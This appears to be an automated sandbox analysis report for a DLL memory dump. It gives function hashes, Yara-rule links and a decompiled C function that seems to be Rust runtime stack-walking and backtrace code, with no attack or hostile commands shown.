Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 8d475dab0b7c01ac6594c7302d78118153473de61bffd9608d7d2dd6b40c8735
Instruction ID: 8feae610ac78d57546f3a2e98abfc2aeb20ff63d6ea078070af4efb35e9603cc
Opcode Fuzzy Hash: 8d475dab0b7c01ac6594c7302d78118153473de61bffd9608d7d2dd6b40c8735
Instruction Fuzzy Hash: 18B15E31210609CFD744CF68C496B957BE0FF45364F268A58E8E9CF2A5E336E992CB40

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFCC44, Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6EBFCC5A

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: a7403c138e17a8acda8836bebcf119447cbd84dedafd7ce02a9f39f9356d3980
Instruction ID: d8ecec61521bc62f1379878942b03bd959755a00d2863ff5871161d1f08537c9
Opcode Fuzzy Hash: a7403c138e17a8acda8836bebcf119447cbd84dedafd7ce02a9f39f9356d3980
Instruction Fuzzy Hash: 575147B1A00605CFEB54CF99D69179EBFF4FB88310F20842AE855FB240D275A9858F94

Uniqueness

Uniqueness Score: -1.00%

Function 6EC02FE7, Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68b9286a357e851d6dbfb3c93d701bbcd750c42bebb5707bafdb1fb1038b70cb
Instruction ID: 2c4ed211bdb9ae87c4757cd00730bc1e5ce58e9acfd968aa65a6dc6e2d687ad8
Opcode Fuzzy Hash: 68b9286a357e851d6dbfb3c93d701bbcd750c42bebb5707bafdb1fb1038b70cb
Instruction Fuzzy Hash: 2741C2B5804219AFDB50DFA8CC98EEABBBCAF45304F1046D9E419D3201EB369E858F10

Uniqueness

Uniqueness Score: -1.00%

Function 6EBF0F10, Relevance: 1.6, Strings: 1, Instructions: 365COMMON

Download Yara Rule

Strings

UNC\, xrefs: 6EBF1143

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: UNC\
API String ID: 0-505053535
Opcode ID: 11db0afbdb0a0b0e8d1faba3026d716eb1ef69b250d3b2648005279398f49c52
Instruction ID: 74dd5a64105dd6704ca65908afecedd5401ce9768d638076e7cc5e16a1a5274d
Opcode Fuzzy Hash: 11db0afbdb0a0b0e8d1faba3026d716eb1ef69b250d3b2648005279398f49c52
Instruction Fuzzy Hash: 70D1D671608686CFC310CEE9C58065ABBE2EB85714F588F69D4A88B296D631DD4FCB81

Uniqueness

Uniqueness Score: -1.00%

Function 6EBE38C0, Relevance: .5, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8de6901c488bd0ee6570f0b61bf38afb8fef411b4930e6dfb9946294ae4e54c
Instruction ID: 0908f414fb33b155eb2a3f9291fba737bcd87684849d3aefb61d7f2c09e85884
Opcode Fuzzy Hash: a8de6901c488bd0ee6570f0b61bf38afb8fef411b4930e6dfb9946294ae4e54c
Instruction Fuzzy Hash: 63022631B187558FD305DE79C48422ABBE2AFDA380F51C73EE886A3761E771AC418781

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFBFE0, Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40a737ea185a4ee416cd65cab536ee3b7bd3ff0e5d28eea63ba631889f716838
Instruction ID: 45202cad3ca6ce52024be9acb2b76caee4a130526e754bf7e5eebb8a48d388e7
Opcode Fuzzy Hash: 40a737ea185a4ee416cd65cab536ee3b7bd3ff0e5d28eea63ba631889f716838
Instruction Fuzzy Hash: 05014631311282CFD748CF68C4A0B29BBE2FB45688B5544A9D4128F619DB30E887CE48

Uniqueness

Uniqueness Score: -1.00%

Function 6EC0298C, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6eb6665ddb3350983e42d1cbc670fa1f7b7e34ee61cedf1b9ad9aa5777005a93
Instruction ID: ef69de3edd37b2ecf616c32a8915dbd1a5f22a4a0d8af91938d0d86a2a1142f4
Opcode Fuzzy Hash: 6eb6665ddb3350983e42d1cbc670fa1f7b7e34ee61cedf1b9ad9aa5777005a93
Instruction Fuzzy Hash: B9E08C32921238EBCB16CBC8CA1098AB3ECFB49B10B510896F901E3201E271DE00CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 6EC012CB, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8280ca142bc1b3d81a1ec9e0318d957c7d25c74bfd8627c95e038b2adada9f26
Instruction ID: 0b059b95260905fed8bf3ac3835bc01dfc6a14c639aed67ccd6e5a171d830992
Opcode Fuzzy Hash: 8280ca142bc1b3d81a1ec9e0318d957c7d25c74bfd8627c95e038b2adada9f26
Instruction Fuzzy Hash: 8CC08C3400090046CE0989D482703A4B3A8E38578AF80088CC8028B646E61F988BD610

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEDD30, Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 451
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6EBEDD30(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, long _a8) {
				void* _v16;
				char _v1456;
				void* __ebp;
				void _t191;
				void* _t194;
				long _t195;
				signed int _t200;
				void* _t201;
				void* _t204;
				void* _t205;
				long _t206;
				char _t208;
				void* _t217;
				void* _t218;
				void* _t221;
				void* _t227;
				void* _t229;
				void* _t233;
				void* _t235;
				void* _t241;
				void* _t243;
				void* _t244;
				void* _t246;
				void* _t250;
				void* _t252;
				long _t260;
				long _t262;
				void* _t263;
				void* _t264;
				char _t265;
				void* _t267;
				void* _t274;
				void* _t284;
				void* _t288;
				long _t291;
				WCHAR* _t293;
				void* _t294;
				WCHAR* _t304;
				long _t305;
				void* _t307;
				void* _t308;
				intOrPtr _t310;
				intOrPtr _t313;
				signed int _t315;
				intOrPtr _t317;
				void* _t318;
				void* _t322;
				void* _t324;

				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t317 = (_t315 & 0xfffffff0) - 0x5b0;
				_t310 = _t317;
				 *((intOrPtr*)(_t310 + 0x598)) = _t313;
				 *((intOrPtr*)(_t310 + 0x59c)) = _t317;
				 *(_t310 + 0x5a8) = 0xffffffff;
				 *((intOrPtr*)(_t310 + 0x5a4)) = E6EBF39E0;
				 *((intOrPtr*)(_t310 + 0x5a0)) =  *[fs:0x0];
				 *[fs:0x0] = _t310 + 0x5a0;
				_t191 =  *_a4;
				 *(_t310 + 0x28) = _t191;
				 *(_t310 + 0xe) = _t191;
				E6EBFE9D0(__edi, _t310 + 0x190, 0, 0x400);
				_t318 = _t317 + 0xc;
				_t194 =  *0x6ec2f8cc; // 0x2
				_t262 = 0x200;
				 *(_t310 + 0x24) = 0;
				 *(_t310 + 0x2c) = _t194;
				 *(_t310 + 0x30) = 0;
				 *(_t310 + 0x14) = _t194;
				 *(_t310 + 0x34) = 0;
				 *(_t310 + 0x10) = 0x200;
				if(0x200 >= 0x201) {
					L4:
					_t291 =  *(_t310 + 0x24);
					_t263 = _t262 - _t291;
					__eflags =  *(_t310 + 0x30) - _t291 - _t263;
					if( *(_t310 + 0x30) - _t291 < _t263) {
						 *(_t310 + 0x5a8) = 0;
						_t274 = _t310 + 0x2c;
						E6EC09A30(_t274, _t291, _t263);
						_t318 = _t318 + 4;
						 *(_t310 + 0x14) =  *(_t310 + 0x2c);
					}
					_t262 =  *(_t310 + 0x10);
					_t304 =  *(_t310 + 0x14);
					 *(_t310 + 0x34) = _t262;
					 *(_t310 + 0x24) = _t262;
					 *(_t310 + 0x20) = _t304;
					 *(_t310 + 0x1c) = _t262;
				} else {
					L7:
					_t304 = _t310 + 0x190;
					 *(_t310 + 0x1c) = 0x200;
					 *(_t310 + 0x20) = _t304;
				}
				L8:
				SetLastError(0);
				_t195 = GetCurrentDirectoryW(_t262, _t304);
				_t305 = _t195;
				if(_t195 != 0 || GetLastError() == 0) {
					if(_t305 != _t262 || GetLastError() != 0x7a) {
						__eflags = _t305 -  *(_t310 + 0x10);
						_t262 = _t305;
						if(_t305 <  *(_t310 + 0x10)) {
							_t292 =  *(_t310 + 0x1c);
							 *(_t310 + 0x5a8) = 0;
							__eflags = _t305 -  *(_t310 + 0x1c);
							if(__eflags > 0) {
								E6EC09470(_t262, _t305, _t292, _t305, _t310, __eflags, 0x6ec306e0);
								goto L70;
							} else {
								_t293 =  *(_t310 + 0x20);
								_t274 = _t310 + 0x70;
								_push(_t305);
								E6EBF0D10(_t262, _t274, _t293, _t305, _t310);
								_t318 = _t318 + 4;
								asm("movsd xmm0, [esi+0x70]");
								_t264 = 0;
								 *(_t310 + 0x48) =  *(_t310 + 0x78);
								asm("movsd [esi+0x40], xmm0");
								_t200 =  *(_t310 + 0x30);
								__eflags = _t200;
								if(_t200 != 0) {
									goto L18;
								} else {
								}
								goto L21;
							}
						} else {
							__eflags = _t262 - 0x201;
							 *(_t310 + 0x10) = _t262;
							if(_t262 < 0x201) {
								goto L7;
							} else {
								goto L4;
							}
							goto L8;
						}
					} else {
						_t262 =  *(_t310 + 0x10) +  *(_t310 + 0x10);
						 *(_t310 + 0x10) = _t262;
						if(_t262 >= 0x201) {
							goto L4;
						} else {
							goto L7;
						}
						goto L8;
					}
				} else {
					_t260 = GetLastError();
					_t264 = 1;
					 *(_t310 + 0x44) = _t260;
					 *(_t310 + 0x40) = 0;
					_t200 =  *(_t310 + 0x30);
					__eflags = _t200;
					if(_t200 != 0) {
						L18:
						__eflags =  *(_t310 + 0x14);
						if( *(_t310 + 0x14) != 0) {
							__eflags = _t200 & 0x7fffffff;
							if((_t200 & 0x7fffffff) != 0) {
								HeapFree( *0x6ec3e128, 0,  *(_t310 + 0x14));
							}
						}
					}
					L21:
					__eflags = _t264;
					if(_t264 == 0) {
						_t201 =  *(_t310 + 0x40);
						_t274 =  *(_t310 + 0x44);
						_t293 =  *(_t310 + 0x48);
						_t265 =  *(_t310 + 0x28);
						 *(_t310 + 0x5a8) = 2;
					} else {
						__eflags =  *(_t310 + 0x40) - 3;
						if( *(_t310 + 0x40) == 3) {
							_t288 =  *(_t310 + 0x44);
							 *(_t310 + 0x10) = _t288;
							 *(_t310 + 0x5a8) = 1;
							 *((intOrPtr*)( *((intOrPtr*)(_t288 + 4))))( *_t288);
							_t318 = _t318 + 4;
							_t250 =  *(_t310 + 0x10);
							_t274 =  *(_t250 + 4);
							__eflags =  *(_t274 + 4);
							if( *(_t274 + 4) != 0) {
								_t252 =  *_t250;
								__eflags =  *((intOrPtr*)(_t274 + 8)) - 9;
								if( *((intOrPtr*)(_t274 + 8)) >= 9) {
									_t252 =  *(_t252 - 4);
								}
								HeapFree( *0x6ec3e128, 0, _t252);
								_t250 =  *(_t310 + 0x44);
							}
							HeapFree( *0x6ec3e128, 0, _t250);
						}
						_t265 =  *(_t310 + 0xe);
						_t201 = 0;
						 *(_t310 + 0x5a8) = 2;
					}
					 *((char*)(_t310 + 0x68)) = _t265;
					 *(_t310 + 0x5c) = _t201;
					 *(_t310 + 0x64) = _t293;
					 *(_t310 + 0x60) = _t274;
					 *(_t310 + 0x190) = 0x6ec2fdd8;
					 *(_t310 + 0x194) = 1;
					 *(_t310 + 0x198) = 0;
					 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6ec2f570;
					 *(_t310 + 0x1a4) = 0;
					_t294 =  *(_a8 + 0x1c);
					_push(_t310 + 0x190);
					_t204 = E6EBE2150( *((intOrPtr*)(_a8 + 0x18)), _t294);
					_t322 = _t318 + 4;
					__eflags = _t204;
					if(_t204 != 0) {
						L50:
						_t205 =  *(_t310 + 0x5c);
						__eflags = _t205;
						if(_t205 != 0) {
							__eflags =  *(_t310 + 0x60);
							if( *(_t310 + 0x60) != 0) {
								HeapFree( *0x6ec3e128, 0, _t205);
							}
						}
						_t206 = 1;
						goto L54;
					} else {
						_t208 =  *(_t310 + 0xe);
						 *(_t310 + 0x6c) = 0;
						 *((char*)(_t310 + 0xf)) = 0;
						 *(_t310 + 0x40) = _a8;
						 *(_t310 + 0x44) = 0;
						__eflags = _t208;
						 *((char*)(_t310 + 0x50)) = _t208;
						 *(_t310 + 0x2c) = _t310 + 0xe;
						 *(_t310 + 0x48) = _t310 + 0x5c;
						 *((intOrPtr*)(_t310 + 0x4c)) = 0x6ec2fde0;
						 *(_t310 + 0x1b) = _t208 != 0;
						 *(_t310 + 0x30) = _t310 + 0x6c;
						 *(_t310 + 0x34) = _t310 + 0x1b;
						 *((intOrPtr*)(_t310 + 0x38)) = _t310 + 0xf;
						 *((intOrPtr*)(_t310 + 0x3c)) = _t310 + 0x40;
						 *(_t310 + 0x10) = GetCurrentProcess();
						 *(_t310 + 0x24) = GetCurrentThread();
						_t307 = _t310 + 0x190;
						E6EBFE9D0(_t307, _t307, 0, 0x2d0);
						_t324 = _t322 + 0xc;
						_push(_t307);
						L6EBFC5AE();
						_t217 = E6EBEE4E0(_t265, _t307, _t310);
						__eflags = _t217;
						if(_t217 == 0) {
							_t308 =  *0x6ec3e148; // 0x0
							 *(_t310 + 0x58) = _t294;
							__eflags = _t308;
							if(_t308 == 0) {
								_t218 = GetProcAddress( *0x6ec3e130, "SymFunctionTableAccess64");
								__eflags = _t218;
								if(__eflags == 0) {
									 *(_t310 + 0x5a8) = 3;
									E6EC094E0(_t265, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6ec30ad0);
									goto L70;
								} else {
									_t308 = _t218;
									 *0x6ec3e148 = _t218;
									_t267 =  *0x6ec3e14c; // 0x0
									__eflags = _t267;
									if(_t267 != 0) {
										goto L41;
									} else {
										goto L39;
									}
								}
							} else {
								_t267 =  *0x6ec3e14c; // 0x0
								__eflags = _t267;
								if(_t267 != 0) {
									L41:
									 *(_t310 + 0x20) = GetCurrentProcess();
									_t221 =  *0x6ec3e158; // 0x0
									 *(_t310 + 0x1c) = _t308;
									 *(_t310 + 0x14) = _t267;
									__eflags = _t221;
									if(_t221 != 0) {
										L44:
										 *(_t310 + 0x28) = _t221;
										 *(_t310 + 0x74) = 0;
										 *(_t310 + 0x70) = 0;
										E6EBFE9D0(_t308, _t310 + 0x80, 0, 0x10c);
										_t324 = _t324 + 0xc;
										 *(_t310 + 0x7c) = 0;
										 *(_t310 + 0x78) =  *(_t310 + 0x248);
										 *(_t310 + 0x84) = 3;
										 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
										 *(_t310 + 0xac) = 0;
										 *(_t310 + 0xb4) = 3;
										 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
										 *(_t310 + 0x9c) = 0;
										 *(_t310 + 0xa4) = 3;
										while(1) {
											_t227 =  *(_t310 + 0x28)(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0, 0);
											__eflags = _t227 - 1;
											if(_t227 != 1) {
												goto L47;
											}
											 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
											 *(_t310 + 0x5a8) = 3;
											_t235 = E6EBEE6E0(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
											_t308 =  *(_t310 + 0x1c);
											_t267 =  *(_t310 + 0x14);
											__eflags = _t235;
											if(_t235 != 0) {
												continue;
											}
											goto L47;
										}
										goto L47;
									} else {
										_t221 = GetProcAddress( *0x6ec3e130, "StackWalkEx");
										__eflags = _t221;
										if(_t221 == 0) {
											E6EBFE9D0(_t308, _t310 + 0x80, 0, 0x100);
											_t324 = _t324 + 0xc;
											 *(_t310 + 0x74) = 0;
											 *(_t310 + 0x70) = 1;
											 *(_t310 + 0x188) = 0;
											 *(_t310 + 0x7c) = 0;
											 *(_t310 + 0x78) =  *(_t310 + 0x248);
											 *(_t310 + 0x84) = 3;
											 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
											 *(_t310 + 0xac) = 0;
											 *(_t310 + 0xb4) = 3;
											 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
											 *(_t310 + 0x9c) = 0;
											 *(_t310 + 0xa4) = 3;
											do {
												_t284 =  *0x6ec3e144; // 0x0
												__eflags = _t284;
												if(_t284 != 0) {
													L63:
													_t241 =  *_t284(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0);
													__eflags = _t241 - 1;
													if(_t241 != 1) {
														L47:
														ReleaseMutex( *(_t310 + 0x58));
														__eflags =  *((char*)(_t310 + 0xf));
														if( *((char*)(_t310 + 0xf)) != 0) {
															goto L50;
														} else {
															goto L48;
														}
														goto L54;
													} else {
														goto L64;
													}
												} else {
													_t244 = GetProcAddress( *0x6ec3e130, "StackWalk64");
													__eflags = _t244;
													if(__eflags == 0) {
														 *(_t310 + 0x5a8) = 3;
														E6EC094E0(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6ec30ad0);
														goto L70;
													} else {
														_t284 = _t244;
														 *0x6ec3e144 = _t244;
														goto L63;
													}
												}
												goto L71;
												L64:
												 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
												 *(_t310 + 0x5a8) = 3;
												_t243 = E6EBEE6E0(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
												_t308 =  *(_t310 + 0x1c);
												_t267 =  *(_t310 + 0x14);
												__eflags = _t243;
											} while (_t243 != 0);
											goto L47;
										} else {
											 *0x6ec3e158 = _t221;
											goto L44;
										}
									}
								} else {
									L39:
									_t246 = GetProcAddress( *0x6ec3e130, "SymGetModuleBase64");
									__eflags = _t246;
									if(__eflags == 0) {
										 *(_t310 + 0x5a8) = 3;
										E6EC094E0(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6ec30ad0);
										L70:
										asm("ud2");
										_push(_t313);
										return E6EBEE6D0( *((intOrPtr*)( &_v1456 + 0x58)));
									} else {
										_t267 = _t246;
										 *0x6ec3e14c = _t246;
										goto L41;
									}
								}
							}
						} else {
							__eflags =  *((char*)(_t310 + 0xf));
							if( *((char*)(_t310 + 0xf)) != 0) {
								goto L50;
							} else {
								L48:
								__eflags =  *(_t310 + 0xe);
								if( *(_t310 + 0xe) != 0) {
									L55:
									_t229 =  *(_t310 + 0x5c);
									__eflags = _t229;
									if(_t229 != 0) {
										__eflags =  *(_t310 + 0x60);
										if( *(_t310 + 0x60) != 0) {
											HeapFree( *0x6ec3e128, 0, _t229);
										}
									}
									_t206 = 0;
								} else {
									 *(_t310 + 0x190) = 0x6ec2fe4c;
									 *(_t310 + 0x194) = 1;
									 *(_t310 + 0x198) = 0;
									 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6ec2f570;
									 *(_t310 + 0x1a4) = 0;
									 *(_t310 + 0x5a8) = 2;
									_push(_t310 + 0x190);
									_t233 = E6EBE2150( *((intOrPtr*)(_a8 + 0x18)),  *(_a8 + 0x1c));
									__eflags = _t233;
									if(_t233 == 0) {
										goto L55;
									} else {
										goto L50;
									}
								}
							}
							L54:
							 *[fs:0x0] =  *((intOrPtr*)(_t310 + 0x5a0));
							return _t206;
						}
					}
				}
				L71:
			}

0x6ebedd33
0x6ebedd34
0x6ebedd35
0x6ebedd39
0x6ebedd3f
0x6ebedd41
0x6ebedd47
0x6ebedd4d
0x6ebedd57
0x6ebedd71
0x6ebedd77
0x6ebedd7e
0x6ebedd80
0x6ebedd83
0x6ebedd94
0x6ebedd99
0x6ebedd9c
0x6ebedda1
0x6ebedda6
0x6ebeddad
0x6ebeddb0
0x6ebeddb7
0x6ebeddba
0x6ebeddc7
0x6ebeddca
0x6ebedde6
0x6ebedde6
0x6ebeddec
0x6ebeddf0
0x6ebeddf2
0x6ebeddf4
0x6ebeddfe
0x6ebede02
0x6ebede07
0x6ebede0d
0x6ebede0d
0x6ebede10
0x6ebede13
0x6ebede16
0x6ebede19
0x6ebede1c
0x6ebede1f
0x6ebeddcc
0x6ebede30
0x6ebede30
0x6ebede36
0x6ebede3d
0x6ebede3d
0x6ebede40
0x6ebede42
0x6ebede4a
0x6ebede50
0x6ebede54
0x6ebede62
0x6ebeddd0
0x6ebeddd3
0x6ebeddd5
0x6ebede8d
0x6ebede90
0x6ebede9a
0x6ebede9c
0x6ebee3b8
0x00000000
0x6ebedea2
0x6ebedea2
0x6ebedea5
0x6ebedea8
0x6ebedea9
0x6ebedeae
0x6ebedeb4
0x6ebedeb9
0x6ebedebb
0x6ebedebe
0x6ebedec3
0x6ebedec6
0x6ebedec8
0x00000000
0x00000000
0x6ebedeca
0x00000000
0x6ebedec8
0x6ebedddb
0x6ebedddb
0x6ebedde1
0x6ebedde4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebedde4
0x6ebede77
0x6ebede7a
0x6ebede82
0x6ebede85
0x00000000
0x6ebede8b
0x00000000
0x6ebede8b
0x00000000
0x6ebede85
0x6ebedecc
0x6ebedecc
0x6ebeded2
0x6ebeded4
0x6ebeded7
0x6ebedede
0x6ebedee1
0x6ebedee3
0x6ebedee5
0x6ebedee5
0x6ebedee9
0x6ebedeeb
0x6ebedef0
0x6ebedefd
0x6ebedefd
0x6ebedef0
0x6ebedee9
0x6ebedf02
0x6ebedf02
0x6ebedf04
0x6ebedf6e
0x6ebedf71
0x6ebedf74
0x6ebedf77
0x6ebedf7a
0x6ebedf06
0x6ebedf06
0x6ebedf0a
0x6ebedf0c
0x6ebedf11
0x6ebedf17
0x6ebedf22
0x6ebedf24
0x6ebedf27
0x6ebedf2a
0x6ebedf2d
0x6ebedf31
0x6ebedf33
0x6ebedf35
0x6ebedf39
0x6ebedf3b
0x6ebedf3b
0x6ebedf47
0x6ebedf4c
0x6ebedf4c
0x6ebedf58
0x6ebedf58
0x6ebedf5d
0x6ebedf60
0x6ebedf62
0x6ebedf62
0x6ebedf84
0x6ebedf87
0x6ebedf8d
0x6ebedf90
0x6ebedf93
0x6ebedf9d
0x6ebedfa7
0x6ebedfb1
0x6ebedfbb
0x6ebedfc8
0x6ebedfd1
0x6ebedfd2
0x6ebedfd7
0x6ebedfda
0x6ebedfdc
0x6ebee255
0x6ebee255
0x6ebee258
0x6ebee25a
0x6ebee25c
0x6ebee260
0x6ebee26b
0x6ebee26b
0x6ebee260
0x6ebee270
0x00000000
0x6ebedfe2
0x6ebedfe2
0x6ebedfe8
0x6ebedfef
0x6ebedff3
0x6ebedff6
0x6ebedffd
0x6ebedfff
0x6ebee008
0x6ebee00e
0x6ebee011
0x6ebee018
0x6ebee01c
0x6ebee022
0x6ebee028
0x6ebee02e
0x6ebee036
0x6ebee03f
0x6ebee049
0x6ebee050
0x6ebee055
0x6ebee058
0x6ebee059
0x6ebee05e
0x6ebee063
0x6ebee065
0x6ebee076
0x6ebee07c
0x6ebee07f
0x6ebee081
0x6ebee09a
0x6ebee0a0
0x6ebee0a2
0x6ebee3e5
0x6ebee3fe
0x00000000
0x6ebee0a8
0x6ebee0a8
0x6ebee0aa
0x6ebee0af
0x6ebee0b5
0x6ebee0b7
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebee0b7
0x6ebee083
0x6ebee083
0x6ebee089
0x6ebee08b
0x6ebee0d9
0x6ebee0de
0x6ebee0e1
0x6ebee0e6
0x6ebee0e9
0x6ebee0ec
0x6ebee0ee
0x6ebee10e
0x6ebee10e
0x6ebee117
0x6ebee11e
0x6ebee12d
0x6ebee132
0x6ebee147
0x6ebee14e
0x6ebee151
0x6ebee15b
0x6ebee161
0x6ebee16b
0x6ebee175
0x6ebee17b
0x6ebee185
0x6ebee190
0x6ebee1ae
0x6ebee1b1
0x6ebee1b4
0x00000000
0x00000000
0x6ebee1c6
0x6ebee1cc
0x6ebee1d6
0x6ebee1db
0x6ebee1de
0x6ebee1e1
0x6ebee1e3
0x00000000
0x00000000
0x00000000
0x6ebee1e3
0x00000000
0x6ebee0f0
0x6ebee0fb
0x6ebee101
0x6ebee103
0x6ebee2b4
0x6ebee2b9
0x6ebee2ce
0x6ebee2d5
0x6ebee2dc
0x6ebee2e6
0x6ebee2ed
0x6ebee2f0
0x6ebee2fa
0x6ebee300
0x6ebee30a
0x6ebee314
0x6ebee31a
0x6ebee324
0x6ebee330
0x6ebee330
0x6ebee336
0x6ebee338
0x6ebee356
0x6ebee372
0x6ebee374
0x6ebee377
0x6ebee1e5
0x6ebee1e8
0x6ebee1ed
0x6ebee1f1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebee33a
0x6ebee345
0x6ebee34b
0x6ebee34d
0x6ebee3c2
0x6ebee3db
0x00000000
0x6ebee34f
0x6ebee34f
0x6ebee351
0x00000000
0x6ebee351
0x6ebee34d
0x00000000
0x6ebee37d
0x6ebee38d
0x6ebee393
0x6ebee39d
0x6ebee3a2
0x6ebee3a5
0x6ebee3a8
0x6ebee3a8
0x00000000
0x6ebee109
0x6ebee109
0x00000000
0x6ebee109
0x6ebee103
0x6ebee08d
0x6ebee0b9
0x6ebee0c4
0x6ebee0ca
0x6ebee0cc
0x6ebee408
0x6ebee421
0x6ebee429
0x6ebee429
0x6ebee430
0x6ebee44c
0x6ebee0d2
0x6ebee0d2
0x6ebee0d4
